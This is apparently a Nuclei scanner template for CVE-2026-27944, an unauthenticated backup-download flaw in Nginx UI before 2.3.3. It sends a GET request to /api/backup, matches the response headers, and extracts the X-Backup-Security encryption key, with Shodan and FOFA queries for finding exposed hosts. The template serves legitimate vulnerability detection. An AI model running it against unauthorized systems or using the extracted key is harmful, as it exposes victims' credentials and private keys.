Nginx UI < 2.3.3 - Information Disclosure

id: CVE-2026-27944

info:
  name: Nginx UI < 2.3.3 - Information Disclosure
  author: omarkurt
  severity: critical
  description: |
    Nginx UI < 2.3.3 contains an information disclosure vulnerability caused by unauthenticated access to /api/backup endpoint exposing encryption keys in X-Backup-Security header, letting unauthenticated attackers download and decrypt full system backups.
  impact: |
    Unauthenticated attackers can access and decrypt full system backups, exposing sensitive data including credentials and private keys.
  remediation: |
    Upgrade to version 2.3.3 or later.
  reference:
    - https://github.com/advisories/GHSA-g9w5-qffc-6762
    - https://www.tenable.com/security/research/tra-2026-17
    - https://vulnerabletarget.com/VT-2026-27944
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-27944
    epss-score: 0.06782
    epss-percentile: 0.91356
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 1
    vendor: 0xjacky
    product: nginx-ui
    shodan-query: http.title:"nginx ui"
    fofa-query: title="nginx ui"
  tags: cve,cve2026,nginx-ui,unauth,exposure,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/backup"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "X-Backup-Security"
          - "application/zip"
        condition: and

      - type: word
        part: header
        words:
          - "attachment; filename="

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: header
        group: 1
        name: backup_security_header
        regex:
          - "X-Backup-Security: (.+)"
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